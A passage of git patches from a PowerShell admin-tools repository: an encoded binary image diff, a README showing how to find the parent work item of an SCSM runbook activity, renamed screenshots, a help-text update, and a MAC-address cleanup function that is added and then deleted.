zgsF!s&e0ahxs|mrJsWKQ{tU*anwDqZ-k9V+oeM+Jmy11gx$&}rj^~kW>=fB%_($KD zb2lV7QX^uU^IX33apEmK!eHPMAS@Kf>Z8xp4HLVC7RYU|Q`jBu<(=!<3*Cl&fsBPt z9G#mP>fcRyR~@@(9ARxug`=ko610bf?x6GezTbHe=ccGt;!)If`rX|L+jfXTmV8)7 z8ZKN7x;WynXdD#?rIUHdZ$C77X6_GWVzX*%?Y$~Y$Ahem(3SwVt0^+ z)QK(R=H(V7NZeD?yCp3Xq=pNbSSF~Y)UJTS^sNi;=rvXmbF0~Lk_7vhs6!M6 z^6{C@OqMFL2}HJl$Sqm=;6C3Em2G=Ue*4*Ay}pr!I$~3C8@Jw)$!!1q2I8;gC)Zx3 zTt#4#uuc-G0rnmRqI5hK+5W>y>^zdI4mQ4I-KaG2mI=XQFJ<+!GQZNAGV@NV){kW3 za+;5mEOJesYlbv3^Atz-W2VN%8@!$5xtoc!5Fg>|k~XMLvy6e)#~&IyJ!MffKUZu! z56G{=h+ylq%n0nFmewQGy zZqOlzr>>1Ukb2bHI^;O`6289%Ke%NcHN=YgR=AWWxTkWUvU7J9P`MfxJLGU69&!-h zkNgAu1I9xdPmf-@`E zCYbqV_L*Q4U2V67tBF$%q{?4SBTTh4na#jjK8-;wL(Ez5M#}owTzej|;_}z7TG3 zTfz(ZABvNuizg?xJ+xoNRE-NzmTO6}DSbonNR^mpqYuPahq9qiG=0@{EGA2e#FhP2 z8y-O%XMJ4D(4bmKZIGCgHPzL@cRYSem71!)<;(DVh$c_Rmm0gg;2`nq2R^|feQB*G zTHwVF9$!psY!Eb%W?yWm(GHgFZne4uH1tBoH_~*IO{yi=X&Ny3bhiH*Vj!lLyDHBs z=tAewXT*G1)r4y318^Y?yHQ8TnF3u%-MH; zVX4S2FY22|Po5|XRr4@=Ea_9{GIf@%70B?2`jQ}YqJ0u+0x#@&!%c))tkpt-`_RE#ZM|OO2PG#s-cFMETvpyyHe!Z1kJ^$*y=fa1gd=fZ8QgR$*5szcc zT7#hty=fKWEPr~xPa&+NmV9gxtXLToLoy?fpD-#MMM$ z*%8$tVW-{OJFic?&3$4EJ~rM2^*%02HfHrlJANmbFpE|Jy>bFBmAwJJ5CgT04Eiw}cdF_+NBI0(sPt6+k6v4R_t0FQ zUeTM5ZScQ(K@enS${gcs^}trr6!gT@FLvY-RJvMATnEp0t6^{zadHK?)OOhWPw#`zaYzx4EcSmVN3XfFM+ z;$FESL)7i5NQsBH96`*=CPy~Q)QRr{wFIEDdRlv`VVzV5ShKT;%U;fS?!CZa>>PZ#$ifrPAG3z>7aUdyTHm9ShcSAk`D`v zIez=Z&9v73T-cG4L4|2#{W@?nOm=_lCEkXF= zVwI3g%mh>^4q>Qpxn!#=g-^St^~;KEJ;guf3TZpF<09&qyOY*C-)J!~+Q5NZFay2& zIb#ge80r(a?MRng;0-2B|3fmIcdvi{%dnm0v#}D28NRWe{spoUxtwut?G|&6sr-{1 za2l0PSqh4|JDvE$4q(W+bh)C`^P~%}jL|>O+_3Ugl=DJsCSEYd=cm;B&yYGsDA@_c zGKj^})T*2S^8{U&ZvOsM#(+svdl;=)b=76K`c1d~Vl%AI|L3z&>uODVH3iU-zR}b) z|88wp-k6iQTFuKJ%gzlsK$;sev3alnOZz-^^TgCTZ)kj3*C0Nh9HG4_epb^wmlc-) z#?a{a91-hTXs9xiS!vUdrM~9de)L&SR@4I$!j@&=xe%29k_5T}eR5aM0z!L;k>fjt zJEig9@i~+T1r39mm=1=W|V3McxY@w=_f^9l^#P=}VxEw{yIYpOx}0yNnY|p5w+*NRW>S_A8^8H{nz4k&fBPJmq;hAjUk1-nFkn0>;kUnD<IBj?W6|1$N^)ebJAHGVwD+nLdO zu#Y?gF1nX-Rl7XhFJz0pNWZFeL1OGU{@dx-mXk*3E7B^9Psmv=wi4CV7(9TM{cTn| z7=@#rRHuz^EpNR9r)11yE%P*r$C>eY+-@E7%UFQY;sf@$k3Hu|gZn~^j%z<}+%xl&yE`~HnGW~JjDaO@@7{&QB zOSQ3;zZ*`+I}hFCz4i_Pq;qb_QaLe_Wh-<(a5;4cu{#X|^% zv{klH>`0l*c|U}(QdLZ8uD4$b-L5H1BM_Xuj^L%vl4KB+X;JoDP67Aty<4{Z(=cYf z=6*PdqBL4Zk$6__kL{u6fV?5pQ2&Z@FX!-=yIvQX(7JtS@oKzGn*6L*P3rL57~71V z3zrBCI2#9nJ00ihFYF;q3kB%f$tdGJIG@JNp$tCZk)0r*Wk-dVU!RMxbLrB`*bZ8w zR!TG_oJE!8W<0T}tSU{Px+`p0UKz8}W=dmbdrx>W2ft}{N~McEF?R}GtH79l2AZ1` zF}H~7jVLw-t*)=TT0waG<^2&u#1VmE_YPv69d2XpQ$s#D%+Wuu^xfzGyGl3ed??H?}h`l=X6h zp7oWIa##ebrqMe_<{=&6Uz*7{BO5Q2@i=_l(o@O97-`UPezGn}8D^RW5piscfNhP- zj4Z)lT)R7I$Cichp(hm;T>d<5tg7oU=gT9Xp>8el*8o^r&NS5=U0kc{%H~RO*sK%d z%7CNMkWfr`(aBbjA4sy)GBdkyw|rn&^#^PsEbqK6l~O^&oYkFX4}Q9tINcGf{oe9I zI7y6o2K+VKCp+58!WU~%C}b2wTy@R>jRjdp+Ejf@FKA(1n6rirlVK*sx;;xhLyM-R zwqKANC7~|!Tk(csu4$hz6OW#23D@&yJT0l9^2)so_=T@H7WBhnA-jp#kYm8mWJ!s0g_rbz|i*=J=dz^tqBThBY<>>XV~c@6^Shq@>B1$b?EH<$hjP zF1|YxRGo+#=r3tYpKV9`etT>GrwDe(P(PZ-*^>sE$>O&5O)!1d7tdAK>JcEU9NN-S z16~Tqugk?by6|eAPW5P{#9Pq6zCGG8(noUR?yjV;{nK+MkM(Wp{VBNBf8SUTM6!)* z33b6s#NJ65aH4qY{(62v8U5;`6kk^_%d#1qnYTO4#0o%Eq13XqaM?w2VCsU-DM+RQ zXXfR?CW3f_{4)@!1sT>NgK{1(q!wmPhMhgdG!IdU8$q(!W}s6qR>R|J%W<)WyZm_d zZ}TK=%h_F;nuL(^2wZ(bC1pDh;0jofy9+(42dgbc;b7U)2i0|`Fqv0x(dlpSgAyk%6x!AoxURn@ zyq2rwTL(dL(qQuxA5SP|4)061>gHi(rm?o6kUk{35{tMC$%}hZA0oord19S<-WOzO z9*<9x@yft$AR0rHUjC4g^^`en2k?FRoi+@{3m(?kjw@Q;#FSU_rk%eaeunI6d))Ha z&C{o%FS$wSYh!nyW=y-{_I5+rR<%aCh3--$Jdh~1+z(JQHpUf)MxTz$wu|pC^{@&^ z?u(pu36O^PG zxl}O|9RRkW`2{Z^H8l%YP ziD~VyiwvLNULUFd8ox&XVW%J1pSkmfRNUABO*+5~?FkWEA%gI*C2skBDIM*q_5POP zD~o&lh42N7pBo|1@f(Ju-c)^WKkxbaO|R=-S};?P=R!Itv%-P!b9LIssu zPua;)x$#Tzi}r@GpC?iZK9$$$TB~A=18DIDqo4Y2Nk5lXe4F(-b|$`7YJI6BVxTMY z5o;E$MuDXyOc6_y<1_c?xivPBdE0>RKCpv9IVoJUXA*bZO+!uMfUe6{xx>zRL_(X_7~ z+)}&Y*z0W_yvoNn6T<~1qfy>UwSrf0BK#{d_}sKAlC@NaLY|}+Y!O0I93x+E5lEQl-1AE`PTZ0b|-cwW$%h#hk2SEZ?bK^1qU?JaesG+D?H6a(3@*GE>a`;}U^q z9`A#~_}W(%zbrI2P@WYY>%H6fWKm9+na(n4fa96S$Q8}jL~aY;-E%)46vu7Xdd?IM z`x&JwhL;&M{mg@8udEM-?G~R7gBKg9Vm_wDJxcwa`tq7>cjfpQt}Dv#s`geDt3aiA zMYAjuKzbrigVY(KQ9v1znQ>ra5~f`)Td{mQJl67u*dW4K4u|u;lwE-y^tbc7e>HwRp8y@ZDj)aaN|N_|hZ_~D;DlKvTP8^YoG*lI z&a$CUkYRQv3GW4Eh+W1dp<7L#us|Q-#Q_}+N z`e(xjL?mRY7(w&Mv2oMMxnaFfpeUZIne(S=hWK;R@Q8*CL; zTxFhbb!%cy`My7NfYUc22%fxN!$>R@P}iuMpjX#d(I)iS!fwku1O1DpNVKE{NIod+ z!>UWsP?%S6Qp>a%X4;&wx-9!_w$`R9#l))Nw<*qUudRa3g+F3GSSFY8N?IyO@s|b| zrEbpiL$tR|Anhbw|5+jTVSof6CR4K^=emp(NZks!D%s>6Z9^BNO5RQxOS@i5NTY?> z8RH1ab7r<*bhA|YtFsZCzS1pjGk3>5F4G7bAJ(TwQg`@x(DhE&XoOkbqkLnkJ6Vhw zkZM*nZafw4u-{`#=+Df;gIZvF-87Z`5n0deFUmB*(*<(Q^!nXP?+oh3<*$JvnG)T* z4`CLTlro-DK znR)yTw$(`R&@5t^8oG(-f>oTZiy+uwUd+|Rw%;(#Q0)1n@FgzTEk&YAM5I49XtokW zQ(h)V=)fFb?8^Oe%;FE2OQjA#PoqjM$UoTyiS!UI7?%WwVW9N=+=`-2+5WLKg$Er zkwTpYsl|bL=6(dSrXlB zCo6r(jp#{|T&cxV69?ll3S!ljcIr}5CV;xD?Z_BPUoR*soWSWs{GfL2+Z>2$9xcs@ zHz@*b?fmlmv#mi;{Y&DTIUpz0`m^24+hbx?W_|N57x|FGR9dEevszZyk}`xhev`Li zk;3>P%2?Q~fx~s|JuKQnL%h(R!?k9O5jfbhbZ9G_fXqftLdyC3izr#jSEw^BmG)NBFUg|tl8IPOF zDqRG(Z`duILcSs;M=xi=c=7XVjpg??$f?yUgEJqh34v7KJze zo-VR+%`M^b)1p^%TNYT@lQ@zzk}zsHE2$&q#4o@ zL9Fm;K#l$P${W-evOB_dM*HJc9tv9<%j ziz^V8tZbOh=|2~L1!k2j`kwxn%7jhEOUL_FUr(f&>Jb;x8?Nl`1KYG8mvn zffWtZ%FoT$-ztEK<6QFK_tGk0AV1}_6POazJSFTwwCN=%TgVQh?{pLK{mrw{P^e$g zl3k0WVOCa|jD|7Zo?L8{ld3sk$|nIH(MqV%IZ z<^1z}yIyjy@5F=*-r?kbG;KjSpVRFg6AT^bKCV7>*%Jg$jSukd`_N5e!NWRH`*Z8@ z5(b}r6Kad}s70AlEn+LHD>}=mX>KNk!Beea?bI)x7Uxmw&+jGj=LN6IP2Cs;U5`=l z{3$ledkpE~zW3sYdjXHG(XFP7&BU(!0Ttckw_QbI=u6I+8BDY@Np)^41C^^{Nd%YV z$UG|otJah3B#y3%_P;H{YGg)asdVyfAdEjfpj3pNEOoA1UxnVWC5NYZsR*vN&;K#o zdU3bpw4TSNAlBZ}YFd0JBX9<+Y3DhTnr&=>k1cJ zFs=h_;}j;WCEmvF2~xC*Sb&4?5%qxRHqp10i@&Mw`=MEuGUd!E@Q+LkFC(}BA z<94v{I@#*%ZQmw%iTAw(w|}0rw+Ec0#y3V2pOw6wzGa=TMDLgXa(gCM(B^Yg5|_YQH3an0?E96cvPYIpy%u`^$unQn$+y zFKxmxTzqu=vzzaEkc509Te@Wz;c8DxZlNO_42F5J0DtvT6 zEY~lM=81Y#ns=hq_K+j2hukNce8GCXFa5U0k!R4Gvd_-6{gKIGdg=GzGJVy$Io9Gq z7DNgm(OFWmT>mRlf|7K3fmdK=tsU)kF3s-<-lyI?)OA;&W%lN{P4+`Rg{GO)H=8e= z-SJqbCxH4gQanmViaS@QGwY)A|nWz zF`!mv<8B$Kwd>r^J+V-SVA2sjVn@&l#vXK)DIT3p#eUeDgVOrDy@H2PWH9762esU z(Qjtvv#wC?C+|9vKbRTmALR?K^G7oAl)MuLrQHS+RT+32OcpHVX}yaE$diI@s9JFv zy44l&-=?!|T|QoTo$vWU{WQ=X#~iv>t?BL947Ar_O;sxfyp;Q{4fm>4^w7jO!D}xs z=A_g$?=P>YB_Jc=Zs2fE?PuJc%trFk zgNEY=5<4Obnj7bs-P))_4q-alG#Wc1yN?oee+x^(M)Ze&SBN%l)YUU4MN9e}QaB3;WiqQ9=-j`I{ux0q@#Okz)9R$4|OZ}PrOtA4u!`5ldt@@ zdTaFl*S7`-sIPpV_?a_%v3()?^}qZ8{Ofuc|0m<{AHGBXnS7Sje+$nt@o(T+K1JRD zAY2cHe{CcIZMUX~M@t`~&K`2SJTTYJOoFq7{1pC~Gm}JE>e4b*UMt&+FgoP0e|``%z`n0L@sB>@YGIkosLq_-s6&oN zx{*JDRmzou#wE7irsa>mgad&?4uL&_@5~{`>IGomP@t~mD|$}{K$)E_+phww^ZH~qN#T$qwD6xy!vd%F^Xc<@F@V7+1L|rv{eKMh)c?T$ zVS)@>s!9!FyZJFO-r*G{I?5is<5Wt-3VD2SB)(s{lP>O9Iq^Y-@a61mui(dB)7#Xh zs&nVg-Efc3)2dNk2594zXPM{n7T~;^O?$(t#ly)1eT@X3x@+@BbxW=X}55 z1u^SO=20s%V+C!F-$XZy_vH?Zt$|;|i6Ot+(9bHeTrwW2X{rzP^#xyuMJw=qvba_{ zrKl7?Euw<;&^JxJ5EnMAJVyKGJ}Fu1#)D%A;%y@2CyciFRo#kf+O|RS7`aA z*|dCoU%q*f=sy=?`@g<*zB0)fed-yYxL zG?C~E7IYGkz#O|9oN)OVm1^f+9aWn>RIxEY<_(iraLH*dsoEBz^RC|5{juJs?J4eBrNylvSa9!$3_w zFs(Wd=^qyYBL~gtcL-y(h>?UOYo#se_=o*OQ$R7PSUPhsUJz8~Obpf%>kbp8&wmO| zyKSNgD9E%ftoo0XOFr$o&GqWjvwNTGwPp-l8Kr(8Q0D+6?!Z;7b{Rp7+B7}PN_T3_eaPCjk@3is{6pD&K* z>>A#9v88S%V4RkW(YW4v?B`5CfM`b0249;9IoN2#(7u!hq_y5pV`O2xvQ58YEpP*P ztS uhfbMR_c(<($=83!MuZSjew(3?Kd(moZuT5FX+n8jx-tTk_(P$YXE*JF$t} zbqU|diACqRDR87}CZZ~^Zaokk(Pa@EpJ@R#E*kl@r=?20Ql#{+>(>6)T7Z9}fK{j& zRknDs3y*>=Hzf3r)sAghRv&Q%zvrJL|*u%~BnL5JaiuxX0CJ_r`1g_oRyN=~bKH(yApjrMNp zYZ02;$$9uYdqdS!MIrwFC?+V777nbd#DapHtKhPas4n&QM6vc?F?7rTSVCBs8daL;W?8s; zQYGrA>%z#)x;+zw#jUkOfCRcCJMch}AEwUJG%RG%mM#qsF~0uTyX=aq8HAyBX;Q%Z zS*FFdRbHfPZq>F$9RTqhtOMy>Pz$c<#QzXkMFFZGsny%~%FrcORs#(u_B|)g^<5Gu z_+-TsYrJ|jE1^QYS@rwW?c^`z=3h?rwaR%Eo2DCl&@#ST-8E1(0cRZqD%rj;l*4C+ zxQMBiQZY%=5nGH-Q<;>Xeoc|rzW-QvIDJw3frG|drKUJ##XO_y_nK}${?v9Hg?^;U zjECZ_u4+OSz_JcK3#)R;pD*i;NV26S}?>U~Eyum4_YwpiX&$aJ_x27r*Z99)GO8ScK zxP7XvB}QoEk;&vn5qFz6X>|4R{l1j7+aHPxBa#j{X_6M58+(Tw*VF;)*uGxvY|uz} zy*m=JK+BG=%9c)}{94s&l#o}h-I|-DW|Hd~hIUQ`e53jH=!F`kL^ai{o!|Q|4nbwKKS`T#QFXGr-vMgeNm3JfNLG*5!EY9KfWiE1fYI< z-yU)_zKdF8$uDi|t)EAm?o4mL0cemuQ^Gr&dfQv)53~&aF#xyNz|5i@xhed;R2vu? z-RB1f9}YR%-2cbnbf|jsN#josxZ7St%>$--;)~u-Ht&z!oSoxUq`kG>&;R@^a}OGU z=Bq1P{f8XcdZFk4w-Ki}4y{DZ2>sK5-#X+tHT_X<<6G3~vhZGD+^_xKy{CU)+u!%? z?`QJw_wAo7-ru(59~0BxcJlA}?f=Hyt^4|?sPlJ7njfmTMHJc_Fn6uAUH29j3S-_8 z|L)3}`NW%iy~(je%}QuA+`ceyaFtHWes%_N!l2MHHmKpixSTEgJ;OFC&}$dS5DeR# zA1FHH5ZTk~TKu&ld=S~T25h}rJ4ZfOrfJOK&8?cXM49)|oxb#IsPHLC(|&JpXtuiJ zkYg@<#SNAf<+kih?CcHmZQFpO8yj&`y8i~k5`@~11C%HIdB3YbH&7B+p9oR95o zpNqBc&7ShZI?CeX@jtIsgGaK0_C)bEdk3tjuXh~x5COX|z_r>t8I?Y_4{O}}1-ML) zjrX1&TriP2hyo;augM?CC7}Qp>yYCw`Hl0%Hh`aLrT6`0)T^i_5HYHkO*%LNoN`Ma z8#rn0sPAG24}N$Ya%?P;4t|qgKmQY?T(+|hXga=s(fG4YhYa{!2S*yabjgkf5thKG zVh4a3I4O=h7&-PiZ^P2Z{l&p(y9)k;YGYlcJ2q`K^Dba03*p zsc&1rKC|_H0wLHNzo=0=KP(P8IMQ~G|Fdfo8U*YN@DGl2!q#Pg16UOG75M&@LyqVa zKzSr*#B}dO+#yF?9*cPpe8}Uzs zuOt2*rN2k%?`P@nH|}q{^tbi?dyf0t6ZqR-`rBXn+pGNB_ugoH8A`<+WN-ym{|T9z zcduPt|9>e{z^)CMc=6LAFnqPDwkzX9hj_4+pvuCj$P_mR|^b|eA1`D&9OH4!g vHOqX^t^fZwzjj2K;}i#s Date: Mon, 15 Feb 2016 23:50:51 -0500 Subject: [PATCH 056/561] Create README.md --- SCSM-Get-SCSMWorkItemParent/README.md | 40 +++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 SCSM-Get-SCSMWorkItemParent/README.md diff --git a/SCSM-Get-SCSMWorkItemParent/README.md b/SCSM-Get-SCSMWorkItemParent/README.md new file mode 100644 index 00000000..27edc393 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemParent/README.md @@ -0,0 +1,40 @@ +[GetSCSMWorkItemParent01]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent01.jpg +[GetSCSMWorkItemParent02]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent02.jpg +[GetSCSMWorkItemParent03]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent03.jpg +# Get-SCSMWorkItemParent + +## Loading the function + +```PowerShell +# Load the function in your PS +. .\Get-SCSMWorkItemParent.ps1 +``` + +![alt text][GetSCSMWorkItemParent01] + +## Get the Work Item Parent of a Runbook Activity + +```PowerShell +# Load the function in your PS +# Get a Runbook Activity +$RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB12813' + +# Get the Runbook Activity's Work Item Parent +Get-SCSMWorkItemParent -WorkItemObject $RunbookActivity +``` + +![alt text][GetSCSMWorkItemParent02] + + +## Get the Work Item Parent of a Runbook Activity using a GUID + +```PowerShell +# Load the function in your PS +# Get a Runbook Activity GUID +$RunbookActivity.get_id() + +# Get the Runbook Activity's Work Item Parent from the RBA guid +Get-SCSMWorkItemParent -WorkItemGuid $RunbookActivity.Get_id() +``` + +![alt text][GetSCSMWorkItemParent03] From 37bbfc92d66eb40a76e8237d774a1fc44bd1b0f0 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 15 Feb 2016 23:51:42 -0500 Subject: [PATCH 057/561] Update Screenshots --- .../{ => images}/Get-SCSMWorkItemParent01.jpg | Bin .../{ => images}/Get-SCSMWorkItemParent02.jpg | Bin .../{ => images}/Get-SCSMWorkItemParent03.jpg | Bin 3 files changed, 0 insertions(+), 0 deletions(-) rename SCSM-Get-SCSMWorkItemParent/{ => images}/Get-SCSMWorkItemParent01.jpg (100%) rename SCSM-Get-SCSMWorkItemParent/{ => images}/Get-SCSMWorkItemParent02.jpg (100%) rename SCSM-Get-SCSMWorkItemParent/{ => images}/Get-SCSMWorkItemParent03.jpg (100%) diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent01.jpg b/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent01.jpg similarity index 100% rename from SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent01.jpg rename to SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent01.jpg diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent02.jpg b/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent02.jpg similarity index 100% rename from SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent02.jpg rename to SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent02.jpg diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent03.jpg b/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent03.jpg similarity index 100% rename from SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent03.jpg rename to SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent03.jpg From c74fb741c4e2746001984c154e483422edf660d1 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 15 Feb 2016 23:52:09 -0500 Subject: [PATCH 058/561] Update README.md --- SCSM-Get-SCSMWorkItemParent/README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/SCSM-Get-SCSMWorkItemParent/README.md b/SCSM-Get-SCSMWorkItemParent/README.md index 27edc393..fdedb592 100644 --- a/SCSM-Get-SCSMWorkItemParent/README.md +++ b/SCSM-Get-SCSMWorkItemParent/README.md @@ -1,6 +1,6 @@ -[GetSCSMWorkItemParent01]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent01.jpg -[GetSCSMWorkItemParent02]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent02.jpg -[GetSCSMWorkItemParent03]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent03.jpg +[GetSCSMWorkItemParent01]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent01.jpg +[GetSCSMWorkItemParent02]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent02.jpg +[GetSCSMWorkItemParent03]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent03.jpg # Get-SCSMWorkItemParent ## Loading the function From 89619bd452d2b7e7a5f9b39a4165888db3f9e6ec Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 19 Feb 2016 09:56:22 -0500 Subject: [PATCH 059/561] Update Comment based Help --- .../Get-SCCMDeviceCollectionDeployment.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 index a10383e7..0233d729 100644 --- a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 @@ -32,7 +32,8 @@ .NOTES Francois-Xavier cat - WB Games Montreal + www.lazywinadmin.com + @lazywinadm SMS_R_SYSTEM: https://msdn.microsoft.com/en-us/library/cc145392.aspx SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx @@ -166,4 +167,4 @@ } } } -} \ No newline at end of file +} From 7618ca4c6e0799f6b85ce49da80d8d106a4e4a31 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 24 Feb 2016 17:39:51 -0500 Subject: [PATCH 060/561] Create Clean-MacAddress.ps1 --- TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 | 113 ++++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100644 TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 diff --git a/TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 b/TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 new file mode 100644 index 00000000..4d8df58d --- /dev/null +++ b/TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 @@ -0,0 +1,113 @@ +function Clean-MacAddress +{ +<# + .SYNOPSIS + Function to cleanup a MACAddress string + + .DESCRIPTION + Function to cleanup a MACAddress string + + .PARAMETER MacAddress + Specifies the MacAddress + + .PARAMETER Separator + Specifies the separator every two characters + + .PARAMETER Uppercase + Specifies the output must be Uppercase + + .PARAMETER Lowercase + Specifies the output must be LowerCase + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:33:44:55' + + 001122334455 + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Uppercase + + 001122DDEEFF + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase + + 001122ddeeff + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '-' + + 00-11-22-dd-ee-ff + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '.' + + 00.11.22.dd.ee.ff + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator : + + 00:11:22:dd:ee:ff + + .OUTPUTS + System.String + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + [OutputType([String], ParameterSetName = "Upper")] + [OutputType([String], ParameterSetName = "Lower")] + [CmdletBinding(DefaultParameterSetName = 'Upper')] + param + ( + [Parameter(ParameterSetName = 'Lower')] + [Parameter(ParameterSetName = 'Upper')] + [String]$MacAddress, + + [Parameter(ParameterSetName = 'Lower')] + [Parameter(ParameterSetName = 'Upper')] + [ValidateSet(':', 'None', '.', "-")] + $Separator, + + [Parameter(ParameterSetName = 'Upper')] + [Switch]$Uppercase, + + [Parameter(ParameterSetName = 'Lower')] + [Switch]$Lowercase + ) + + BEGIN + { + # Initial Cleanup + $MacAddress = $MacAddress -replace "-", "" #Replace Dash + $MacAddress = $MacAddress -replace ":", "" #Replace Colon + $MacAddress = $MacAddress -replace "/s", "" #Remove whitespace + $MacAddress = $MacAddress -replace " ", "" #Remove whitespace + $MacAddress = $MacAddress -replace "\.", "" #Remove dots + $MacAddress = $MacAddress.trim() #Remove space at the beginning + $MacAddress = $MacAddress.trimend() #Remove space at the end + } + PROCESS + { + IF ($PSBoundParameters['Uppercase']) + { + $MacAddress = $macaddress.toupper() + } + IF ($PSBoundParameters['Lowercase']) + { + $MacAddress = $macaddress.tolower() + } + IF ($PSBoundParameters['Separator']) + { + IF ($Separator -ne "None") + { + $MacAddress = $MacAddress -replace '(..(?!$))', "`$1$Separator" + } + } + } + END + { + Write-Output $MacAddress + } +} From 0cdb67397207bd20a60af998b2a301059e9f3e9a Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 24 Feb 2016 17:47:17 -0500 Subject: [PATCH 061/561] Delete Clean-MacAddress.ps1 --- TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 | 113 -------------------- 1 file changed, 113 deletions(-) delete mode 100644 TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 diff --git a/TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 b/TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 deleted file mode 100644 index 4d8df58d..00000000 --- a/TOOLS-Clean-MacAddress/Clean-MacAddress.ps1 +++ /dev/null @@ -1,113 +0,0 @@ -function Clean-MacAddress -{ -<# - .SYNOPSIS - Function to cleanup a MACAddress string - - .DESCRIPTION - Function to cleanup a MACAddress string - - .PARAMETER MacAddress - Specifies the MacAddress - - .PARAMETER Separator - Specifies the separator every two characters - - .PARAMETER Uppercase - Specifies the output must be Uppercase - - .PARAMETER Lowercase - Specifies the output must be LowerCase - - .EXAMPLE - Clean-MacAddress -MacAddress '00:11:22:33:44:55' - - 001122334455 - .EXAMPLE - Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Uppercase - - 001122DDEEFF - - .EXAMPLE - Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase - - 001122ddeeff - - .EXAMPLE - Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '-' - - 00-11-22-dd-ee-ff - - .EXAMPLE - Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '.' - - 00.11.22.dd.ee.ff - - .EXAMPLE - Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator : - - 00:11:22:dd:ee:ff - - .OUTPUTS - System.String - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm -#> - [OutputType([String], ParameterSetName = "Upper")] - [OutputType([String], ParameterSetName = "Lower")] - [CmdletBinding(DefaultParameterSetName = 'Upper')] - param - ( - [Parameter(ParameterSetName = 'Lower')] - [Parameter(ParameterSetName = 'Upper')] - [String]$MacAddress, - - [Parameter(ParameterSetName = 'Lower')] - [Parameter(ParameterSetName = 'Upper')] - [ValidateSet(':', 'None', '.', "-")] - $Separator, - - [Parameter(ParameterSetName = 'Upper')] - [Switch]$Uppercase, - - [Parameter(ParameterSetName = 'Lower')] - [Switch]$Lowercase - ) - - BEGIN - { - # Initial Cleanup - $MacAddress = $MacAddress -replace "-", "" #Replace Dash - $MacAddress = $MacAddress -replace ":", "" #Replace Colon - $MacAddress = $MacAddress -replace "/s", "" #Remove whitespace - $MacAddress = $MacAddress -replace " ", "" #Remove whitespace - $MacAddress = $MacAddress -replace "\.", "" #Remove dots - 